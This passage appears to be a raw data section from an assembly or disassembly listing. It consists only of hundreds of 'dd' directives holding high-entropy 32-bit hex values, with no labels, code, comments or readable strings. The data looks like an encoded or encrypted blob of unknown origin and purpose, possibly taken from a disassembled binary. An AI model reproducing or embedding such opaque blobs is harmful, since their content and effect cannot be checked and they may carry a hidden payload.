dd 0D717823Dh, 5BF8E05Ah, 365C031Fh, 4705E7C1h, 0BE5D1405h
dd 94EAE6E2h, 4EA6EF02h, 60BB4793h, 0BB61042Fh, 6E8B4BD0h
dd 0AE2E608Ah, 40D97973h, 59CE0903h, 0C9F96855h, 0F33A4EDBh
dd 4F312444h, 303CC581h, 0F841783Fh, 48306928h, 0A6CC5EE9h
dd 20BF7938h, 0E0C05992h, 0E181F607h, 0AA3B1F71h, 0EB80E130h
dd 0FD06CAE7h, 7B5710B8h, 0D0FCCE0Fh, 0EAC6A7E6h, 0FCEBF304h
dd 394785C1h, 8D3D5B8h, 253B6BFDh, 0F15904B3h, 16730DE4h
dd 12771861h, 9095E4F6h, 79E12F70h, 1C05C047h, 0BF06E435h
dd 7053B42h, 0D488BB5Fh, 30AACD5Eh, 0EF2C2B0Ch, 0AF69051h
dd 14F30737h, 46605AC9h, 59813191h, 4A220E89h, 54FCF3ABh
dd 5533391Ah, 3AA61D5Bh, 7525141Ch, 71B27E96h, 5DAC5520h
dd 98742D66h, 230530EDh, 0DF55EB0Ah, 4C1EE926h, 0FEDD8797h
dd 4A9BBD7Bh, 5B3D2C8Dh, 18108894h, 0DAB80064h, 55C5B4B0h
dd 0EFC9E789h, 39348E72h, 6CDB04AFh, 9C8CBE47h, 2FF4BC63h
dd 707A6F5Ch, 673AC4A4h, 0C43AAC1Dh, 5E02BEE5h, 7E62CA29h
dd 0B9284A76h, 259B8A83h, 0F84F02E9h, 2CC5B372h, 70FB14F7h
dd 32B9F657h, 0F418532Ch, 9B425F27h, 58BE50A8h, 7E406968h
dd 845B4BE9h, 708BAF76h, 0A43FF013h, 859FC736h, 83DC565Dh
dd 8D924AD3h, 386FE501h, 0C7ED5FA4h, 1152FA4Eh, 0E2DBD24Bh
dd 7A17DC2Bh, 45175975h, 2F9AE8B5h, 1238505Ah, 0A3774568h
dd 6755101Eh, 0BB05BB5Ah, 0D2493E80h, 0CE317FD9h, 0A4893089h
dd 7DBBFE40h, 38033D6Bh, 7242B225h, 8B906FFDh, 8D1AF541h
dd 2ACA7F40h, 0E13F2828h, 72F63740h, 0FBDA50D2h, 5D92A926h
dd 82906B33h, 5601EDC0h, 0F5E80B44h, 55698991h, 7B67DF80h
dd 750BB90Ah, 78013F31h, 0F6A9014h, 7A38797Fh, 54ECD4Dh
dd 0DEB3FF08h, 0ABC22593h, 0EC713284h, 0B4054CB5h, 9740A54Eh
dd 0E57EFD31h, 30A0EC68h
dd 20EA28ABh, 215D4578h, 0A3D6130Ch, 298B80ADh, 84C3ECF7h
dd 4EE93BA3h, 0EA2F0D49h, 7EA778DEh, 0DEA10597h, 4BD205B5h
dd 277CA79Ch, 0F93DA29h, 306C6233h, 882A03Dh, 38454E41h
dd 69BC5F6Ch, 8194BDA4h, 4DCF265Eh, 0CB60C3EDh, 97859D95h
dd 0D673045Fh, 9F6802BFh, 0B2897170h, 99415823h, 0B9FD890Fh
dd 7CDD80F4h, 9059ABBh, 0CB01E718h, 0D0B96C0h, 0C1641002h
dd 404702EFh, 64DA627h, 0DAF7791Eh, 0BC1DD84Ah, 1D4D57Ah
dd 0B6E9099Fh, 883BD537h, 2F6212D9h, 0BE12638Ah, 8DB3E92Dh
dd 0D0C029F6h, 0EE86582Ch, 6655D4Dh, 93BCC10Bh, 0D4326F75h
dd 45D7897h, 0BA34CB2Dh, 4516BA15h, 0E94D70FFh, 689210DCh
dd 45EACD0Bh, 88340F91h, 0BAEB92BDh, 1F8220C4h, 0B7CC0B79h
dd 4AB8525Ah, 37D8E9B0h, 17EF5BC0h, 2FC44AE0h, 27FDFA21h
dd 0F2E00705h, 4D3BC7D9h, 9858068Ah, 0EA520212h, 814A30F2h
dd 654555Eh, 667F0C70h, 0FD263D0Eh, 265A7413h, 1E0A0DBCh
dd 80D95B7Ah, 0C977F381h, 0E912ADF6h, 38BF4810h, 66BB5FF8h
dd 15822C64h, 54EF55Dh, 43707471h, 34A8D482h, 9E9C8511h
dd 57405C8Eh, 9D5922EDh, 68C12379h, 0E90108E0h, 41663585h
dd 5234C691h, 0D480D3BAh, 56F77639h, 4E3CD09Fh, 9DB5164Fh
dd 371200Dh, 6C7F4A6Dh, 0BD5B5134h, 0E91C77E6h, 0DF254908h
dd 40A421C7h, 6FF15CE4h, 0BD02A41Fh, 3F4A4BD5h, 0D9886974h
dd 0C842662h, 0A3F1411Dh, 0F6E33A5Eh, 0EF62C913h, 996BFF79h
dd 0BA8A2E16h, 4427CA15h, 71AA1550h, 81430356h, 951FFEE1h
dd 425CE1DDh, 207C858Bh, 0E6FE5C12h, 0FBD093C0h, 9E4ED768h
dd 357462C0h, 28C798FFh, 0A351D73Bh, 57598B2Dh, 82B5BF6Eh
dd 0B205D866h, 18A420BEh, 5B34DA26h, 0EDFCE44Dh, 93333107h
dd 44F5684Eh, 8CBC60EBh, 124CB413h, 16B804B3h, 0F0FA7BDFh
dd 741286D3h, 0C61C79F3h, 7E784CC0h, 9F6F35E9h, 0D09F0253h
dd 27439408h, 2F9FEC7Dh, 2F5FFA8Eh, 0E8530453h, 0EFA728EFh
dd 0F1E4BF41h, 0FCC34A88h, 0F5912F74h, 71FD601Ah, 20E20C09h
dd 0DA4A363Dh, 0E5FEAC8h, 87DEF75Eh, 9604CD74h, 0EA7EB266h
dd 74CFFF90h, 1B7B3372h, 28C1D81Eh, 0B5864040h, 7D4E4215h
dd 5E2DEEF2h, 0AF565287h, 0F955B009h, 16BACAD9h, 0EF31BA2Ch
dd 0EC6E2A88h, 7EDAB3FEh, 6B9EB51Ah, 0A009F891h, 0DDD4CAC4h
dd 0C05D354Ah, 9599BCCAh, 68C1B875h, 6560644Eh, 2A12AFDDh
dd 0E97D3CEEh, 6C5BAA2Fh, 3FF14C5Ah, 0EB665927h, 0BD28C322h
dd 5172D15Ch, 0A7E98ACBh, 1A55AFF6h, 6727D2Bh, 0B7FD5C68h
dd 0CA4FC705h, 65F28F00h, 104A5172h, 292AFE9h, 96098FBAh
dd 3CD07511h, 592D6A2Ah, 0B05A5129h, 420B6B24h, 0C569FD2Bh
dd 7CC7F9Eh, 0EBC12E5Ch, 3F8A538Dh, 95216465h, 79007C3h
dd 50F9885Ah, 62CA4752h, 0E55C5AD4h, 2F42C726h, 82756535h
dd 92567C6h, 3C0B6CD8h, 0FD7D0834h, 0D7ED389h, 0EEEC0BA0h
dd 0DD2717A3h, 5422545Ah, 0FFBEB2BDh, 7FE308F8h, 172960E0h
dd 0AB6C8045h, 5AEDD340h, 0B5014F20h, 6F40DE78h, 31772568h
dd 662578DBh, 86816A1h, 2B30EB0Bh, 9DA4442h, 0C3E95F19h
dd 25488DE0h, 65E1009h, 0DE160129h, 60FA0957h, 287D28ABh
dd 4AD507CFh, 0E0FBFC52h, 0B9097168h, 3B76A5C4h, 0E197821Fh
dd 16BBA041h, 823B02D9h, 0EA8FE2DCh, 286D1E61h, 740C800Eh
dd 0E929ABBEh, 69436557h, 6AD4FFEBh, 0CBF7F8EBh, 9C769Fh
dd 350E4205h, 0D8280145h, 5495072Dh, 9D466271h, 3C5C500Ch
dd 0BBCF2FA0h, 0B501FF2Ch, 87240953h, 9F02BC2h, 0A7A859BEh
dd 0E6BF77E7h, 506B2010h, 4085F8E7h, 0C0591CC5h, 0C2808403h
dd 2996E10Ch, 4998D583h, 62A81B55h, 687D3E32h, 8CCE851h
dd 19B85D08h, 38847D4Bh, 0C65056F3h, 0BD688038h, 9035284Ah
dd 0FDCFC2A2h, 345B0070h, 30F5B599h, 58D5C1C5h, 7F795368h
dd 2C59BD71h, 73FB7DC2h, 0D69FE5A0h, 17E906DCh, 664E5A48h
dd 0C30896E0h, 3227EB0Ah, 1A421507h, 0BBC15356h, 353D2931h
dd 0C5AEE916h, 4F3DEA8Fh, 9C26CB3Ah, 5C1A2810h, 664012D2h
dd 0D9B727F6h, 4CEE8B32h, 80C5B17Fh, 8D8D8C2Eh, 554B1DBAh
dd 1CFC2CAEh, 47488195h, 0EDE0DFF7h, 25D7959Fh, 78780C7h
dd 0B1CCEC33h, 0EC2A43EBh, 0C7AA755Ah, 0EC5A4B7Fh, 0D82B14B1h
dd 754154AFh, 2989B478h, 9553C4FDh, 1B09EBD9h, 0B08C9470h
dd 0E9549723h, 0E9846DA9h, 2CB92312h, 0DF8555CFh, 6B78A4F3h
dd 64D10200h, 5D5FF829h, 106B9A51h, 160FCE68h, 0F9C41EE9h
dd 14D045A0h, 0EE49B875h, 9D529C05h, 5E90937h, 0A5E2628Fh
dd 8E5F8A92h, 80C269BCh, 0D1181AAEh, 0E7810058h, 78954F76h
dd 0A8A3D7F7h, 0C109889Eh, 0D7DB54A9h, 0E02F4B70h, 0E107D5Eh
dd 5389ABFh, 914EFE1Bh, 9EAF1717h, 0E4F64EDCh, 0A4E8EA2Fh
dd 8D1EACF3h, 0B7CB3947h, 0A8B6594Eh, 37250B01h, 0B5DA4C02h
dd 0DD112A6Bh, 0AF0282CAh, 465D27B7h, 40245E9Dh, 736A758Ch
dd 689D5E76h, 729CF66Ch, 0E91D09DAh, 0AC1A171Fh, 69B2C802h
dd 0B9D32103h, 8D6A45A3h, 2EFA61B5h, 59F620EFh, 1A5F7268h
dd 446B3C32h, 0ABEF07A5h, 0B27FCB2Bh, 0DE55DD32h, 64F240A8h
dd 7269B958h, 6D40F728h, 565BEEE9h, 3A0015F2h, 0A3BB0465h
dd 6E4F9E7Ch, 0C383CAC0h, 434B28FFh, 5CEC0EA0h, 0C3DE30C7h
dd 18D7312h, 91FA180Bh, 0AE987F8Bh, 0A8623BE9h, 59CA305Eh
dd 2C5C4994h, 0D8B3E942h, 0B0B80500h, 0EF2D3319h, 6230140Bh
dd 0A07B6C52h, 20344845h, 0C570599Dh, 9238BF30h, 614411C1h
dd 27BD1855h, 0C00C3CDh, 73FD5E23h, 0C2E158E9h, 0B9F68052h
dd 2B8E841h, 0FF56575Ah, 24E828E2h, 4CC8EBC1h, 6A59F2h
dd 114D9A86h, 2AEBD15Fh, 0EA017CBDh, 443C2C93h, 420CA01h
dd 3809954Ah, 728759D5h, 0FAB1DE5Dh, 5E4858FDh, 0A831FE80h
dd 0D59E2566h, 0AA7844C7h, 2E0A8037h, 5A124461h, 65A03AE9h
dd 2ADC0FBDh, 844B586Fh, 0AB545042h, 142F5951h, 72316F65h
dd 3E5D5824h, 81D700E2h, 397C09DDh, 0D2E9E00Eh, 0ED4CBD46h
dd 8725512Ah, 7EDFEE06h, 172F1D23h, 0A315685Bh, 192F78C2h
dd 0CE7651Ah, 724C5558h, 0E1E0FC92h, 973D3DB9h, 0DBE4D648h
dd 76F295C1h, 0BC40C298h, 63F8BF66h, 2CB40212h, 1DEE0308h
dd 0BB8C9740h, 1B28AF89h, 0DDDEFA4Ah, 0F8CFA23Fh, 5D25DD44h
dd 0C2164245h, 22D92DEFh, 0BEE41710h, 46DD7E20h, 98634CD6h
dd 0EE4D1F01h, 2EFB0147h, 0D695BD34h, 120021Fh, 0D8E1815Eh
dd 0DB4E9C2Fh, 8C1908E8h, 1B410D3Bh, 0E127E425h, 88A40C75h
dd 517A8402h, 19A7812Dh, 54BF0286h, 83D4ADFBh, 93DDBF39h
dd 8EABF1F5h, 0DBB57641h, 677492Dh, 785B748Fh, 343F24FBh
dd 5F9D0253h, 5F40096Dh, 382C16AEh, 1030CC2Bh, 60087A06h
dd 9EFB0C63h, 9953DE8h, 0BB6F0089h, 17310613h, 0FA5AD721h
dd 6EE9A430h, 49C7B66Bh, 0C331BB83h, 0AEA4FEE3h, 0A8ECCADDh
dd 0A8CB99D7h, 94555ADEh, 1E44AEEAh, 810023B3h, 1E9419F5h
dd 0E8892014h, 12EBB485h, 0B737BB64h, 3EFCDFE4h, 3E3D5CA1h
dd 0B10494E3h, 81E037BAh, 20226689h, 0FE4C29C5h, 5F08400Eh
dd 0C3BD2097h, 2D374E52h, 3F082905h, 0A3562408h, 5E9E2C8h
dd 0F281BEF6h, 173F0F38h, 0E12DFA2Ah, 0EFCD132Bh, 37E9BB42h
dd 0A41779A6h, 128400B3h, 0CE8113D0h, 6877A101h, 5E6C171h
dd 1D070692h, 3BC3C246h
dd 0A2C03DC2h, 422D0BC7h, 416C7605h, 812682E9h, 0C5D1BBB0h
dd 7CE9EE41h, 0EB4BB868h, 0F86A6199h, 6A084161h, 116971F9h
dd 0F1BD29FDh, 72C02D77h, 7A1EF435h, 9C8910C6h, 262D463Dh
dd 0C2533B34h, 0EE74D788h, 0CCFADA53h, 0A040BD5Fh, 5A4D58C5h
dd 0F5025A93h, 0C1BFB68h, 15B16C7Eh, 5C42CB02h, 1E76757Fh
dd 585F0820h, 49501E5Dh, 88535012h, 424A88ECh, 0BCA47C31h
dd 0B93CFA2Bh, 6E22555Bh, 0BAA5912Ah, 7065577Ah, 63A95A1Eh
dd 0CFDABE04h, 0B5EECA90h, 2BFB2A7Bh, 712D92h, 4A68520Fh
dd 0E4F1C525h, 0ADA9984Fh, 168C955Ah, 0E8684F2Eh, 5EF5F750h
dd 0EF4BDCA8h, 0D3D2AA67h, 4951DEDAh, 0EB1AD3D5h, 0DBE5ACC8h
dd 9EB281D2h, 0E9EB29C0h, 92952EF7h, 27D1F703h, 70A96858h
dd 8671BF13h, 700B5BC8h, 4F06DCB6h, 0D0631E05h, 0C0FCCC59h
dd 3C5282A2h, 20CBF407h, 63CE58E5h, 0F3CDFE08h, 0E830B9C5h
dd 7B4C4A7Dh, 560DCC16h, 7384BEEBh, 3ABDCFEBh, 739F31E9h
dd 9570EBC6h, 7B41F699h, 975D9DA2h, 14963C5Eh, 82DAF26h
dd 9DE2B1F4h, 0AEDF763Ah, 63C487Dh, 31711A68h, 4A652F20h
dd 3FDFF505h, 0BBA53CF8h, 0E1EDFAF1h, 3E01BE05h, 76B5633Bh
dd 2561802Bh, 0A1012354h, 7CDE3537h, 0CAB95BD1h, 67EC268Bh
dd 8839ED2h, 929C9AAFh, 0F43F3C58h, 56B70570h, 0CDF2E9DAh
dd 0B9F90254h, 986F52B5h, 14640947h, 0A8817617h, 0F6B70BA1h
dd 75D162F7h, 0E94180D3h, 0B8C5B36h, 562C2082h, 314F69B8h
dd 607309A4h, 685719AFh, 0F82D6655h, 854A8060h, 1C0DF5BDh
dd 2724AEE9h, 5BFD3C57h, 0BECDC0ADh, 0EB1E41A4h, 257E310Fh
dd 7F42C2E1h, 24AA9EE7h, 27935553h, 2D5A8026h, 179DA2B0h
dd 8C22996h, 0B82E7445h, 0DE8F612h, 0CFB9B35Eh, 0A7BF938Fh
dd 1FFD13BCh, 593F08BDh, 0A180FC4Eh, 0B193F04Bh, 0D947A5C5h
dd 53423AEDh, 772C875Eh, 0CE5989D6h, 0BDB05F8Fh, 53EF014Fh
dd 70776CE9h, 10F6749Dh, 1D2B81E9h, 84D9C888h, 0F66F52D7h
dd 0C0079AFFh, 8010C1AEh, 383F49B9h, 292D86Fh, 2542660h
dd 0D1807746h, 0DB641FF3h, 8391EAB5h, 62E95D67h, 2DE8605Fh
dd 0B757C4DFh, 0DE9562DAh, 21507180h, 4F203CC4h, 0BE6A53CCh
dd 69B800E6h, 406BAE29h, 0D4D0F72Fh, 5B5A04BAh, 918DEB2Dh
dd 6426AA00h, 7C5A23h, 76EE055Dh, 2BFE62Ch, 0DDE957C9h
dd 1ABEAEA0h, 204A3E0Dh, 5A376244h, 0F1D31EEh, 0FD10AFF8h
dd 66680EA1h, 0C4486C2Dh, 2DD950A2h, 3B88822Ah, 5915261h
dd 0BB878B85h, 0B0C5486h, 7A196FAAh, 20A7B788h, 140CD008h
dd 0E067F85Bh, 0E56245EEh, 75F98821h, 5AD02800h, 0CDCAFEB5h
dd 0A2AB019Ch, 4EA66397h, 85BD28BBh, 10900995h, 80C579F1h
dd 0F9B59EB4h, 0EFF5972Eh, 124B76CCh, 635A730h, 8D9A4CF4h
dd 0B252E701h, 0A3F28072h, 0E0F3C2CCh, 0CAE912D7h, 89DEB86Ch
dd 41D4D156h, 7E7BABE9h, 0E0779ACCh, 0AC6A5B64h, 9CD6D8BEh
dd 677A9E74h, 0BB10ACA7h, 46418409h, 4D26F579h, 68073459h
dd 646119FAh, 637E658Fh, 3087DDABh, 0F7972DB6h, 0A2974294h
dd 449703Bh, 1FB2FA01h, 0FC5F25C4h, 0D065C4A2h, 9768B9BAh
dd 0AF0894BBh, 0D2FEF6D4h, 6A405AF3h, 0CE676E14h, 381E5F0h
dd 6C256895h, 48241EE0h, 0ED000977h, 0A4FCF82Dh, 336E11E9h
dd 0F55DC9C3h, 765596C2h, 63E4EFE5h, 5930EEE5h, 0C5542B68h
dd 0CDCE1EBDh, 3FD3CD7Ah, 0A740F717h, 685F5457h, 3358628Ch
dd 71FDB666h, 0FB68C171h, 7E55C237h, 33F45ADDh, 0F7867FC2h
dd 0F92CD2FBh, 1A05D342h, 1C4EA060h, 0B07AFC2Fh, 0BA9C3DD3h
dd 23F13C11h, 0F34A6E17h, 0E294C4BCh, 4AF68100h, 6850E03Ch
dd 4EFE13C4h, 0F3016B12h, 5A7B6819h, 198C423Eh, 0B5DE3D10h
dd 1A975D44h, 850B9593h, 2DE6DAEFh, 0B1BC7757h, 6AD30CA1h
dd 5A43C914h, 0DAB619FBh, 924E7234h, 0F2B567C2h, 5AD13425h
dd 2E21B520h, 1E2CCD05h, 1F4300B9h, 9FA4DF3Fh, 0AA5B9666h
dd 36FD959Dh, 62D9FDFAh, 2F7A21C9h, 0BDB760Ch, 0F5A1E9F5h
dd 308B63D4h, 26B67F3Ah, 3D8D96BCh, 525267FDh, 9CE61D7h
dd 46C1DE54h, 880412F7h, 683952BFh, 82CC4F3Fh, 324F12C6h
dd 5C25FA36h, 94061ABBh, 5E0C61D7h, 0D8AF736Ah, 0DA507BC6h
dd 5841F1E1h, 0E22F66F9h, 1C181079h, 83CB14Ch, 390BD225h
dd 0DAC0ED10h, 0E4EBD80h, 456D352Fh, 2E5C120h, 0C990C583h
dd 24C43B30h, 955FF368h, 67875B1Ah, 69C03090h, 0AF4FC4E9h
dd 0FD58DA22h, 0F48D1704h, 120BF5A9h, 92D5A2Ah, 51D204A4h
dd 807835FAh, 0E8199F95h, 0D2755Ch, 0F239675Ch, 49E9FE31h
dd 9D4BC77Dh, 590DF444h, 0AA7459Fh, 0B847BE9Ah, 6118C32Fh
dd 0C29869B1h, 71634A27h, 8032670h, 511F98A0h, 5BD4A6CDh
dd 5791B02Eh, 87CB5D50h, 4E2ECA14h, 0F8EC5FCAh, 8F143E04h
dd 93F92D8h, 86817E5Fh, 9CE92F7Fh, 514D9509h, 7FCB7F4Eh
dd 40DF1140h, 64BF3C4Bh, 8DE9BEB8h, 0EA691392h, 0B052C2Ch
dd 67542ED0h, 182D1805h, 1AE92D07h, 2D387796h, 0A78054F8h
dd 0E93F38DFh, 0F3404F38h, 5E6487Fh, 35336A29h, 0A5FE17ABh
dd 0E00B04C7h, 2725B884h, 0ED977A79h, 0BD02B978h, 73C102D3h
dd 6BA0E25Fh, 0FE3A801h, 6CD1A023h, 8D339450h, 208F2B78h
dd 8DB27F0Ch, 1328BA00h, 0ACBE26B2h, 0DBE73F32h, 0E8B5AAFh
dd 0BFA588F7h, 66132A02h, 5BC0E112h, 0F05F0502h, 3C5662DAh
dd 5877CB7Ch, 0E8595A23h, 1905E036h, 730255Ah, 7098F62h
dd 0AB4B7C51h, 2D56DC9Fh, 93AA189Eh, 1A55B382h, 0A1EF8303h
dd 0C620E7C1h, 35A44F39h, 0D6E3BA11h, 13C76882h, 27114D7Dh
dd 14B88618h, 7AC45501h, 273EC035h, 5C10DDCh, 0E913F229h
dd 0B88BE017h, 336FE01h, 677D6843h, 91054736h, 0BA60B67Ch
dd 86AF9612h, 4F0108DBh, 81060597h, 84A79C48h, 0CB46BDCh
dd 7832E1AAh, 7FC11234h, 522C0BB2h, 13CF10DEh, 0FE16555Fh
dd 0BB37C1E1h, 9217F25Bh, 10C77C54h, 0E344DE23h, 0CFBA0052h
dd 8173DA3Fh, 83FBBF2h, 608A6E60h, 0E99585E4h, 0F3654A4Bh
dd 16B11083h, 7F96E50h, 31CED0ADh, 0FC76D2EBh, 0D22D8979h
dd 48452069h, 432780C5h, 0C114B5B7h, 0A51AE6E0h, 4CD72864h
dd 0C2FA4F74h, 78D9665Ch, 68CF021Dh, 97F31E28h, 3BB8C850h
dd 45C0B81Eh, 7E3338E1h, 85E8BF4h, 716AC5DEh, 48830585h
dd 0C7A10096h, 12C626C9h, 0D1DFF709h, 648500E7h, 7B274721h
dd 31E91729h, 0B84CB463h, 1F74721Dh, 208B688Fh, 435B76CFh
dd 81E300D1h, 739EA5F3h, 0DC2FE9ECh, 0A8DCF147h, 41652071h
dd 14F75013h, 41BC1488h, 0B0AD20ADh, 0B735DA40h, 0E62513F4h
dd 0B2D783AAh, 52EEDC6Bh, 3B21DB06h, 0E76BBF0Ch, 9D1CC667h
dd 0E93BEC5h, 3D2F0EB1h, 68F8841Ch, 0A98C4D88h, 3096B050h
dd 0EF7F329Eh, 511D4A9Fh, 9CA80162h, 5EF70888h, 698622C1h
dd 0C5847D67h, 0BBBC60E9h, 68C04EB9h, 1F542F75h, 488B5F9Eh
dd 0A407AB7h, 0D73B0BBh, 0A52EC7h, 1A5A6874h, 630AB850h
dd 8033C707h, 0BD072310h, 0CB40183Ah, 5A3DBD00h, 0D4BD156Eh
dd 0AC491248h, 0F0B75A85h, 4BDDBE50h, 0AB26FF3Ch, 2FB460B0h
dd 30621FD5h, 0F2CF8102h, 601C8D4Dh, 0E3470652h, 2C29F13Bh
dd 9EBA4B36h, 1762344Dh, 61447DC0h, 837A4895h, 831EA220h
dd 0AF3E02C3h, 0A5B2AB85h, 8FEF5E59h, 0D1904EA1h, 5882502Bh
dd 0E2017E6Ah, 32D85E92h
dd 830EBA42h, 0E90D3D01h, 536E6B6h, 0EE1DDDBAh, 73AAA86Bh
dd 12A9C25Fh, 0D2400896h, 0C3DA5E1Fh, 0B800C11Fh, 0E58EE504h
dd 0C125EB35h, 4F13F8C6h, 0B04DF808h, 4FDC2DFAh, 0D831BB2Bh
dd 3EA56EE6h, 0B0E3E59h, 51688231h, 6AE9010Dh, 70BE2AFDh
dd 508E89Bh, 0F144E40Ch, 0BCB0A0Eh, 0EA81F094h, 225329FDh
dd 1A86A0B6h, 0F7583A57h, 1C2787ECh, 0A443FB6Ch, 1FC30CC8h
dd 107EA19h, 0C17E4C63h, 0BC09956Ah, 88147DC2h, 197BBF8h
dd 17A368DBh, 64316188h, 41B2BF01h, 412F4624h, 1351034Bh
dd 0F429202Ch, 0CEF4345Bh, 0EC5F130Ah, 0DAF4AA7Ch, 68561D51h
dd 44CF0F23h, 0EB8B8985h, 76F60A32h, 272A2C51h, 217FED4h
dd 6B452E01h, 0BF3B57DDh, 0C5DC7743h, 0C0EEECF0h, 0E9CF0121h
dd 9B977B73h, 746BC987h, 72CC492Ah, 0D3C38D8h, 2C33381Dh
dd 840B7835h, 90CD5843h, 2D8C4054h, 3F49110Fh, 565A4942h
dd 0B87FC740h, 0F7D1290Bh, 7C287710h, 0C250F4B4h, 8B1D2F5Ch
dd 55271FFCh, 57018D07h, 0D761A4E9h, 0A3D262ADh, 0B01CAEA0h
dd 31176A69h, 0CF525FFDh, 0B5405BA8h, 7A2003D0h, 72D4E97Bh
dd 0A2E7ED24h, 75F34212h, 0B4413913h, 66A105E4h, 43CB7E5Ah
dd 455FC269h, 22FC2D8Eh, 0F4072A42h, 0DC107288h, 0C49F08D9h
dd 25FEBCAEh, 0F2021FFEh, 0E1D58883h, 38FCEAB9h, 120FB9D7h
dd 0DB52FEEBh, 6A186CC2h, 6340DF5Dh, 9B0B7BEAh, 9D78962h
dd 806460A0h, 29B078F1h, 80F61757h, 8520D3B9h, 31FD4123h
dd 0C51CA585h, 6013A808h, 68C71F15h, 0AEA1ACADh, 0E92FC2h
dd 0C866E712h, 89255631h, 97D0F8FEh, 3793BAD3h, 3C88A0F9h
dd 0B15B2B4Ch, 3196A2A1h, 6CC0B450h, 0C58000AEh, 0DDF62E01h
dd 58AF3E0Ah, 0C71D955Eh, 2EFC047h, 0E912DFE5h, 0D6F76A47h
dd 6C954F72h, 9559F20Ch, 270BB2E4h, 1574D08h, 2E380BEFh
dd 5B46002Eh, 0E9DC8CEFh, 12103A49h, 10A885Ch, 84C9FD01h
dd 0A1AC590Ch, 3B60C29Ch, 4FC01CCCh, 0C93E509Ah, 0EE93F77h
dd 0AA1FF91Ah, 0F789AB2Dh, 48EC0AD1h, 5705C9A7h, 25689E34h
dd 38E50A11h, 68E3F92Dh, 0D60E0BC5h, 493B5268h, 29637009h
dd 81008FEh, 5FE0E904h, 89BBE9AAh, 0AE677701h, 588DB1A7h
dd 99E4A654h, 0CA2D59DBh, 4A227104h, 0F571B06Fh, 1278760Bh
dd 0CECBFD20h, 0A01454A9h, 802FCC3Fh, 476720B1h, 481E1719h
dd 0A6647F09h, 0DA3103E1h, 0D7682043h, 0F3B95795h, 0DE8C3B02h
dd 0EF825AC9h, 0CCB31667h, 0D9172E79h, 41083032h, 0FB0BC981h
dd 747CC522h, 302D0024h, 1CF9E970h, 0D9B009B2h, 2F27A720h
dd 0E070B9BAh, 245CF6B5h, 0C3E1DD5h, 0C5F60110h, 685A08A0h
dd 84A93369h, 83ADDD4Dh, 7320D8D0h, 25217CBFh, 54C9D2E5h
dd 234DE2C4h, 5DA8127Dh, 5DF4BB64h, 0CA7AE389h, 32E41056h
dd 0EBF58000h, 0D059EC28h, 535090E7h, 6BBE6809h, 0B80C0F46h
dd 5E562542h, 352B4177h, 48B12AB2h, 7F70F37Fh, 0C492774Dh
dd 0F5BF5759h, 0F8DC8218h, 54B3B97Ch, 8078BAD2h, 0A598F701h
dd 5B204A4Bh, 3B83BD55h, 5A7F7D74h, 0E9D890DDh, 53DF93EAh
dd 18EFB300h, 58F901A3h, 0CE12175Fh, 0EBAF543Eh, 0E38CF38h
dd 0F75A8A62h, 2D70FB55h, 388014D7h, 0BE4B5606h, 5FE944D8h
dd 2987F983h, 0EDACD481h, 72F30717h, 0FA12D913h, 1AFAC831h
dd 859AA26Ah, 76EB2325h, 10FCFB93h, 45845716h, 8E0545B8h
dd 17C5665h, 372A73C9h, 0C2E26AD1h, 9584B1C5h, 9A94FE94h
dd 0E5118B16h, 130A5698h, 68F859CEh, 22203DE1h, 985004D3h
dd 9CC0FD53h, 587E691Fh, 8A60D008h, 749D6CBBh, 0FC640504h
dd 80AE93E0h, 0D8315A81h, 232B8FBDh, 61BB616h, 8B0523C6h
dd 9539580Eh, 31158920h, 0E98610D6h, 7AC96571h, 3F05E1B2h
dd 90B13107h, 0D259CB03h, 352648ADh, 8A431DCEh, 53BF431Dh
dd 98D00B9Bh, 0BD5A66E2h, 0C8A1F312h, 607628C4h, 743D0C06h
dd 29257FADh, 3ED478E9h, 698046F8h, 2C32C5B8h, 0E82D3116h
dd 2D60725Dh, 0D75209A4h, 0AF25B47Bh, 0BE65DF22h, 7B413580h
dd 0AE50936Ah, 68580A0Fh, 0C2D716B9h, 0B0D9418Dh, 1E85449h
dd 4CB43EB1h, 21F87F28h, 26D4F6C7h, 530708DCh, 0F3805AB3h
dd 5BA52847h, 0F97CE0FBh, 2F5F2CECh, 0A474EEA8h, 0E08EF021h
dd 0B65200D8h, 8EEC0A1h, 7A0BF680h, 1047D5E9h, 27740C15h
dd 487439C9h, 2B1B9289h, 10B35CD5h, 575A0423h, 8094B068h
dd 9D77182h, 30337877h, 0D911F905h, 0F4022D5Bh, 1630A30h
dd 210442C8h, 595AD008h, 5C45E020h, 3494DE6Dh, 9B4CEE02h
dd 5E774069h, 25350142h, 962CC966h, 0D65D0FB4h, 5339FE89h
dd 8DF8270Eh, 4F70875Ah, 0E4DA8852h, 4BCEB0D0h, 35D9AE5Eh
dd 0FA7E247Fh, 9825F7A8h, 1CBBD940h, 1484D699h, 24EE4619h
dd 8B0804ECh, 681BD303h, 4CD57FE2h, 3FE9157Dh, 0C53BA764h
dd 2907D792h, 5076EC05h, 28EE17C0h, 0F7A03D89h, 22778F2h
dd 8E2447B0h, 0E684522Ch, 4FC0FFB8h, 58081BC6h, 4612AAF0h
dd 3F2BEE5h, 9842BF93h, 0D67D516Bh, 0B067C571h, 81045849h
dd 15B2C2F1h, 8C06D5C1h, 3BBF6800h, 2F37EFB5h, 0F4C55F7Ch
dd 522F70F1h, 9DFBE722h, 0CDB2AB56h, 0D2E5C04h, 0C420AA5Ah
dd 3F3A76B7h, 0E7934765h, 8561E002h, 75A88E2Fh, 0E916FD16h
dd 8D24BDB6h, 1F2A3AAh, 345278C3h, 88DA010Ch, 0E22608E1h
dd 0DC414111h, 134B2E3Ah, 9E20345Eh, 4F921D73h, 0E214C719h
dd 82096A53h, 0C62E0D45h, 0A6DCB7A7h, 0DD762989h, 13D226B3h
dd 594C7370h, 8DE24F95h, 5457E9A1h, 1216A9D1h, 0D2CC21A5h
dd 110362C9h, 9FD5EF2h, 0C0E7D55Bh, 561060A6h, 11A0BA00h
dd 0D1B94B52h, 98874614h, 41B80ED3h, 7E292F50h, 5F08E914h
dd 0C25A829h, 55B1E407h, 6F3D91h, 4EF2D1Ah, 0CA9620E5h
dd 40EB0720h, 3096E914h, 52642B9Dh, 4A1B9838h, 0BFFE1327h
dd 7C5413DFh, 65791A75h, 32F2AA52h, 0E1D14113h, 5FE53BFh
dd 0A8F35843h, 0ACFB2E65h, 7701DF0Bh, 688BC0E5h, 39A4FD69h
dd 666EF1CDh, 7A68092Eh, 80019A05h, 0F849CE0Eh, 56BB043Dh
dd 85C207B6h, 0BE4FD46h, 5BE20FE9h, 0B5AB2093h, 2583709h
dd 0D878F1B5h, 4054BBE9h, 5C04F59Eh, 3111C975h, 0DA388AAh
